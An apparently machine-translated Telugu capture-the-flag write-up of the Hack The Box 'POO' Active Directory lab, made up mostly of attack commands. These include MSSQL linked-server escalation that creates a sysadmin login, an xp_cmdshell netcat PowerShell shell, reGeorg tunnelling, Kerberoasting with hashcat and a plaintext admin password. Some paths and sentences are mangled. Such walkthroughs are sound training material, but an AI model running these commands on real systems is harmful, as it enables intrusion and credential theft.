ఈ వ్యాసంలో, మేము ఒక యంత్రం మాత్రమే కాకుండా, సైట్ నుండి మొత్తం చిన్న ప్రయోగశాలను విశ్లేషిస్తాము.
వివరణలో పేర్కొన్నట్లుగా, POO అనేది చిన్న యాక్టివ్ డైరెక్టరీ వాతావరణంలో దాడుల యొక్క అన్ని దశలలో నైపుణ్యాలను పరీక్షించడానికి రూపొందించబడింది. 5 ఫ్లాగ్లను సేకరిస్తున్నప్పుడు యాక్సెస్ చేయగల హోస్ట్తో రాజీ పడడం, ప్రత్యేకాధికారాలను పెంచడం మరియు చివరికి మొత్తం డొమైన్ను రాజీ చేయడం లక్ష్యం.
ప్రయోగశాలకు కనెక్షన్ VPN ద్వారా. పని కంప్యూటర్ నుండి లేదా మీకు ముఖ్యమైన డేటా ఉన్న హోస్ట్ నుండి కనెక్ట్ చేయకూడదని సిఫార్సు చేయబడింది, ఎందుకంటే మీరు సమాచార భద్రత రంగంలో ఏదైనా తెలిసిన వ్యక్తులతో ప్రైవేట్ నెట్వర్క్లో చేరుకుంటారు :)
సంస్థాగత సమాచారం
నేను సృష్టించిన కొత్త కథనాలు, సాఫ్ట్వేర్ మరియు ఇతర సమాచారం గురించి మీరు తెలుసుకోవచ్చు
మొత్తం సమాచారం విద్యా ప్రయోజనాల కోసం మాత్రమే అందించబడుతుంది. ఈ పత్రాన్ని అధ్యయనం చేయడం ద్వారా పొందిన జ్ఞానం మరియు సాంకేతికతలను ఉపయోగించడం వల్ల ఎవరికైనా జరిగే నష్టానికి ఈ పత్రం రచయిత ఎటువంటి బాధ్యతను అంగీకరించరు.
ఉపోద్ఘాతం
ఈ ముగింపు గేమ్ రెండు మెషీన్లను కలిగి ఉంటుంది మరియు 5 ఫ్లాగ్లను కలిగి ఉంటుంది.
అందుబాటులో ఉన్న హోస్ట్ యొక్క వివరణ మరియు చిరునామా కూడా ఇవ్వబడింది.
ప్రారంభిద్దాం!
రీకాన్ ఫ్లాగ్
ఈ మెషీన్ 10.13.38.11 యొక్క IP చిరునామాను కలిగి ఉంది, దానిని నేను /etc/hostsకి జోడిస్తాను.
10.13.38.11 poo.htb
అన్నింటిలో మొదటిది, మేము ఓపెన్ పోర్ట్లను స్కాన్ చేస్తాము. nmapతో అన్ని పోర్ట్లను స్కాన్ చేయడానికి చాలా సమయం పడుతుంది కాబట్టి, నేను దీన్ని ముందుగా మాస్కాన్ని ఉపయోగించి చేస్తాను. మేము tun0 ఇంటర్ఫేస్ నుండి అన్ని TCP మరియు UDP పోర్ట్లను సెకనుకు 500 ప్యాకెట్ల వేగంతో స్కాన్ చేస్తాము.
sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500
ఇప్పుడు, పోర్ట్లలో పనిచేసే సేవల గురించి మరింత వివరణాత్మక సమాచారాన్ని పొందడానికి, -A ఎంపికతో స్కాన్ని అమలు చేద్దాం.
nmap -A poo.htb -p80,1433
కాబట్టి మాకు IIS మరియు MSSQL సేవలు ఉన్నాయి. ఈ సందర్భంలో, మేము డొమైన్ మరియు కంప్యూటర్ యొక్క నిజమైన DNS పేరును కనుగొంటాము. వెబ్ సర్వర్లో మనకు IIS హోమ్ పేజీ స్వాగతం పలుకుతుంది.
డైరెక్టరీల ద్వారా వెళ్దాం. నేను దీని కోసం గోబస్టర్ని ఉపయోగిస్తాను. పారామితులలో మేము థ్రెడ్ల సంఖ్య 128 (-t), URL (-u), నిఘంటువు (-w) మరియు మాకు ఆసక్తి ఉన్న పొడిగింపుల సంఖ్యను సూచిస్తాము (-x).
gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html
ఇది మాకు /అడ్మిన్ డైరెక్టరీకి HTTP ప్రామాణీకరణను, అలాగే యాక్సెస్ చేయగల డెస్క్టాప్ సేవ .DS_Store ఫైల్ను అందిస్తుంది. .DS_Store అనేది ఫైల్ల జాబితా, ఐకాన్ స్థానాలు మరియు ఎంచుకున్న నేపథ్య చిత్రం వంటి ఫోల్డర్ కోసం అనుకూల సెట్టింగ్లను నిల్వ చేసే ఫైల్లు. అటువంటి ఫైల్ వెబ్ డెవలపర్ల వెబ్ సర్వర్ డైరెక్టరీలో ముగుస్తుంది. ఈ విధంగా మేము డైరెక్టరీలోని విషయాల గురించి సమాచారాన్ని పొందుతాము. దీని కోసం మీరు ఉపయోగించవచ్చు
python3 dsstore_crawler.py -i http://poo.htb/
మేము డైరెక్టరీలోని విషయాలను పొందుతాము. ఇక్కడ అత్యంత ఆసక్తికరమైన విషయం ఏమిటంటే /dev డైరెక్టరీ, దీని నుండి మనం రెండు శాఖలలో మూలాలు మరియు db ఫైల్లను చూడవచ్చు. ఐఐఎస్ షార్ట్నేమ్కు సేవ హాని కలిగితే మనం ఫైల్ మరియు డైరెక్టరీ పేర్లలోని మొదటి 6 అక్షరాలను ఉపయోగించవచ్చు. మీరు ఉపయోగించి ఈ దుర్బలత్వాన్ని తనిఖీ చేయవచ్చు
మరియు “poo_co”తో ప్రారంభమయ్యే ఒక టెక్స్ట్ ఫైల్ని మేము కనుగొన్నాము. తరువాత ఏమి చేయాలో తెలియక, నేను డైరెక్టరీల నిఘంటువు నుండి "కో"తో ప్రారంభమయ్యే అన్ని పదాలను ఎంచుకున్నాను.
cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt
మరియు మేము wfuzz ఉపయోగించి దాన్ని క్రమబద్ధీకరిస్తాము.
wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404
మరియు మేము సరైన పదాన్ని కనుగొంటాము! మేము ఈ ఫైల్ని పరిశీలిస్తాము, ఆధారాలను సేవ్ చేస్తాము (DBNAME పరామితి ద్వారా నిర్ణయించడం, అవి MSSQL నుండి వచ్చినవి).
మేము జెండాను అప్పగిస్తాము మరియు మేము 20% అడ్వాన్స్ చేస్తాము.
హుహ్ జెండా
మేము MSSQLకి కనెక్ట్ చేస్తాము, నేను DBeaverని ఉపయోగిస్తాను.
ఈ డేటాబేస్లో మాకు ఆసక్తికరంగా ఏమీ కనిపించలేదు, SQL ఎడిటర్ని క్రియేట్ చేద్దాం మరియు అక్కడ ఏ వినియోగదారులు ఉన్నారో తనిఖీ చేద్దాం.
SELECT name FROM master..syslogins;
మాకు ఇద్దరు వినియోగదారులు ఉన్నారు. మన అధికారాలను తనిఖీ చేద్దాం.
SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');
అందువలన, ఎటువంటి అధికారాలు లేవు. లింక్ చేయబడిన సర్వర్లను చూద్దాం, నేను ఈ సాంకేతికత గురించి వివరంగా వ్రాసాను
SELECT * FROM master..sysservers;
ఈ విధంగా మేము మరొక SQL సర్వర్ని కనుగొంటాము. openquery()ని ఉపయోగించి ఈ సర్వర్లో ఆదేశాల అమలును పరీక్షిద్దాం.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');
మరియు మేము ప్రశ్న చెట్టును కూడా నిర్మించవచ్చు.
SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');
విషయం ఏమిటంటే, మేము లింక్ చేయబడిన సర్వర్కి అభ్యర్థన చేసినప్పుడు, అభ్యర్థన మరొక వినియోగదారు సందర్భంలో అమలు చేయబడుతుంది! లింక్డ్ సర్వర్లో మనం ఏ యూజర్ పని చేస్తున్నామో సందర్భంలో చూద్దాం.
SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');
లింక్ చేయబడిన సర్వర్ నుండి మన సర్వర్కు అభ్యర్థన ఏ సందర్భంలో చేయబడుతుందో ఇప్పుడు చూద్దాం!
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');
కనుక ఇది అన్ని అధికారాలను కలిగి ఉండవలసిన DBO సందర్భం. లింక్ చేయబడిన సర్వర్ నుండి అభ్యర్థన విషయంలో అధికారాలను తనిఖీ చేద్దాం.
SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');
మీరు గమనిస్తే, మాకు అన్ని అధికారాలు ఉన్నాయి! ఇలా మన స్వంత అడ్మిన్ని క్రియేట్ చేద్దాం. కానీ వారు దానిని ఓపెన్ క్వెరీ ద్వారా అనుమతించరు, EXECUTE AT ద్వారా చేద్దాం.
EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
మరియు ఇప్పుడు మేము కొత్త వినియోగదారు యొక్క ఆధారాలతో కనెక్ట్ అయ్యాము, మేము కొత్త ఫ్లాగ్ డేటాబేస్ను గమనిస్తాము.
ఈ జెండాను అందజేసి ముందుకు సాగుతున్నాం.
బ్యాక్ట్రాక్ జెండా
MSSQLని ఉపయోగించి షెల్ పొందండి, నేను ఇంపాకెట్ ప్యాకేజీ నుండి mssqlclientని ఉపయోగిస్తాను.
mssqlclient.py ralf:[email protected] -db POO_PUBLIC
మేము పాస్వర్డ్లను పొందాలి మరియు మేము ఇప్పటికే ఎదుర్కొన్న మొదటి విషయం వెబ్సైట్. అందువల్ల, మనకు వెబ్ సర్వర్ కాన్ఫిగర్ అవసరం (సౌకర్యవంతమైన షెల్ను వదిలివేయడం సాధ్యం కాదు, స్పష్టంగా ఫైర్వాల్ రన్ అవుతోంది).
కానీ యాక్సెస్ నిరాకరించబడింది. మేము MSSQL నుండి ఫైల్ను చదవగలిగినప్పటికీ, ఏ ప్రోగ్రామింగ్ భాషలు కాన్ఫిగర్ చేయబడిందో మనం తెలుసుకోవాలి. మరియు MSSQL డైరెక్టరీలో పైథాన్ ఉందని మేము కనుగొన్నాము.
అప్పుడు web.config ఫైల్ని చదవడానికి ఎటువంటి సమస్య లేదు.
EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"
దొరికిన ఆధారాలతో, /అడ్మిన్కి వెళ్లి ఫ్లాగ్ని తీసుకోండి.
పాదాల జెండా
వాస్తవానికి, ఫైర్వాల్ని ఉపయోగించడం వల్ల కొన్ని అసౌకర్యాలు ఉన్నాయి, కానీ నెట్వర్క్ సెట్టింగ్ల ద్వారా చూస్తే, IPv6 కూడా ఉపయోగించబడుతుందని మేము గమనించాము!
ఈ చిరునామాను /etc/hostsకి జోడిద్దాం.
dead:babe::1001 poo6.htb
హోస్ట్ని మళ్లీ స్కాన్ చేద్దాం, కానీ IPv6 ప్రోటోకాల్ని ఉపయోగిస్తాము.
మరియు WinRM సేవ IPv6లో అందుబాటులో ఉంది. దొరికిన ఆధారాలతో అనుసంధానం చేద్దాం.
డెస్క్టాప్లో జెండా ఉంది, మేము దానిని అందజేస్తాము.
P00ned జెండా
ఉపయోగించి హోస్ట్పై నిఘా నిర్వహించిన తర్వాత
setspn.exe -T intranet.poo -Q */*
MSSQL ద్వారా ఆదేశాన్ని అమలు చేద్దాం.
ఈ పద్ధతిని ఉపయోగించి, మేము వినియోగదారులు p00_hr మరియు p00_adm యొక్క SPNని పొందుతాము, అంటే వారు Kerberoasting వంటి దాడికి గురయ్యే అవకాశం ఉంది. సంక్షిప్తంగా, మేము వారి పాస్వర్డ్ హ్యాష్లను పొందవచ్చు.
ముందుగా మీరు MSSQL వినియోగదారుగా స్థిరమైన షెల్ను పొందాలి. కానీ మేము యాక్సెస్లో పరిమితం చేయబడినందున, మేము 80 మరియు 1433 పోర్ట్ల ద్వారా మాత్రమే హోస్ట్తో కమ్యూనికేషన్ కలిగి ఉన్నాము. కానీ పోర్ట్ 80 ద్వారా టన్నెల్ ట్రాఫిక్ సాధ్యమే! దీని కోసం మేము ఉపయోగిస్తాము
కానీ మనం దీన్ని యాక్సెస్ చేయడానికి ప్రయత్నించినప్పుడు, మనకు 404 ఎర్రర్ వస్తుంది. దీని అర్థం *.aspx ఫైల్లు అమలు చేయబడవు. ఈ పొడిగింపులతో ఫైల్లను అమలు చేయడానికి, ASP.NET 4.5ని ఈ క్రింది విధంగా ఇన్స్టాల్ చేయండి.
dism /online /enable-feature /all /featurename:IIS-ASPNET45
మరియు ఇప్పుడు, tunnel.aspxని యాక్సెస్ చేస్తున్నప్పుడు, ప్రతిదీ సిద్ధంగా ఉంది అనే సమాధానం మనకు వస్తుంది.
అప్లికేషన్ యొక్క క్లయింట్ భాగాన్ని ప్రారంభిద్దాం, ఇది ట్రాఫిక్ను ప్రసారం చేస్తుంది. మేము పోర్ట్ 5432 నుండి అన్ని ట్రాఫిక్ను సర్వర్కు ఫార్వార్డ్ చేస్తాము.
python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx
మరియు మేము మా ప్రాక్సీ ద్వారా ఏదైనా అప్లికేషన్ యొక్క ట్రాఫిక్ను పంపడానికి ప్రాక్సీచైన్లను ఉపయోగిస్తాము. ఈ ప్రాక్సీని /etc/proxychains.conf కాన్ఫిగరేషన్ ఫైల్కు జోడిద్దాం.
ఇప్పుడు ప్రోగ్రామ్ను సర్వర్కు అప్లోడ్ చేద్దాం
ఇప్పుడు మేము MSSQL ద్వారా శ్రోతలను ప్రారంభించాము.
xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321
మరియు మేము మా ప్రాక్సీ ద్వారా కనెక్ట్ చేస్తాము.
proxychains rlwrap nc poo.htb 4321
మరియు హాష్లను పొందుదాం.
. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt
తర్వాత మీరు ఈ హాష్లను మళ్లీ మళ్లీ చెప్పాలి. రాక్యూ డిక్షనరీలో ఈ పాస్వర్డ్లు లేనందున, నేను సెక్లిస్ట్లలో అందించిన అన్ని పాస్వర్డ్ల నిఘంటువులను ఉపయోగించాను. శోధన కోసం మేము హ్యాష్క్యాట్ని ఉపయోగిస్తాము.
hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force
మరియు మేము రెండు పాస్వర్డ్లను కనుగొంటాము, మొదటిది నిఘంటువులో dutch_passwordlist.txt మరియు రెండవది Keyboard-Combinations.txt.
కాబట్టి మాకు ముగ్గురు వినియోగదారులు ఉన్నారు, మేము డొమైన్ కంట్రోలర్కి వెళ్తాము. ముందు అతని చిరునామా తెలుసుకుందాం.
బాగుంది, మేము డొమైన్ కంట్రోలర్ యొక్క IP చిరునామాను కనుగొన్నాము. డొమైన్ యొక్క వినియోగదారులందరినీ, అలాగే వారిలో ఎవరు అడ్మినిస్ట్రేటర్ అని తెలుసుకుందాం. సమాచారాన్ని పొందేందుకు స్క్రిప్ట్ను డౌన్లోడ్ చేయడానికి PowerView.ps1. అప్పుడు మేము చెడు-winrm ఉపయోగించి కనెక్ట్ చేస్తాము, డైరెక్టరీని -s పారామీటర్లో స్క్రిప్ట్తో పేర్కొంటాము. ఆపై మేము పవర్వ్యూ స్క్రిప్ట్ను లోడ్ చేస్తాము.
ఇప్పుడు మేము దాని అన్ని ఫంక్షన్లకు యాక్సెస్ కలిగి ఉన్నాము. p00_adm వినియోగదారు విశేషమైన వినియోగదారు వలె కనిపిస్తున్నారు, కాబట్టి మేము అతని సందర్భంలో పని చేస్తాము. ఈ వినియోగదారు కోసం PSC ఆబ్జెక్ట్ని క్రియేట్ చేద్దాం.
$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass
ఇప్పుడు మేము క్రెడిట్స్ని పేర్కొనే అన్ని పవర్షెల్ ఆదేశాలు p00_adm వలె అమలు చేయబడతాయి. వినియోగదారుల జాబితాను మరియు AdminCount లక్షణాన్ని ప్రదర్శిస్తాము.
Get-NetUser -DomainController dc -Credential $Creds | select name,admincount
కాబట్టి, మా వినియోగదారుకు నిజంగా ప్రత్యేక హక్కు ఉంది. అతను ఏ గ్రూపుల్లో ఉన్నాడో చూద్దాం.
Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds
వినియోగదారు డొమైన్ అడ్మినిస్ట్రేటర్ అని మేము చివరకు ధృవీకరిస్తాము. ఇది డొమైన్ కంట్రోలర్కు రిమోట్గా లాగ్ ఆన్ చేసే హక్కును ఇస్తుంది. మన టన్నెల్ని ఉపయోగించి WinRMతో లాగిన్ అవ్వడానికి ప్రయత్నిద్దాం. చెడు-winrmని ఉపయోగిస్తున్నప్పుడు reGeorg జారీ చేసిన లోపాల వల్ల నేను గందరగోళానికి గురయ్యాను.
అప్పుడు మరొకటి, సులభమైనదాన్ని ఉపయోగిస్తాము,
మేము కనెక్ట్ చేయడానికి ప్రయత్నిస్తాము మరియు మేము సిస్టమ్లో ఉన్నాము.
కానీ జెండా లేదు. ఆపై వినియోగదారుని చూడండి మరియు డెస్క్టాప్లను తనిఖీ చేయండి.
మేము mr3ks వద్ద జెండాను కనుగొన్నాము మరియు ప్రయోగశాల 100% పూర్తయింది.
అంతే. ఫీడ్బ్యాక్గా, దయచేసి మీరు ఈ కథనం నుండి ఏదైనా కొత్తగా నేర్చుకున్నారా మరియు అది మీకు ఉపయోగకరంగా ఉందా అని వ్యాఖ్యానించండి.
మీరు మాతో చేరవచ్చు
మూలం: www.habr.com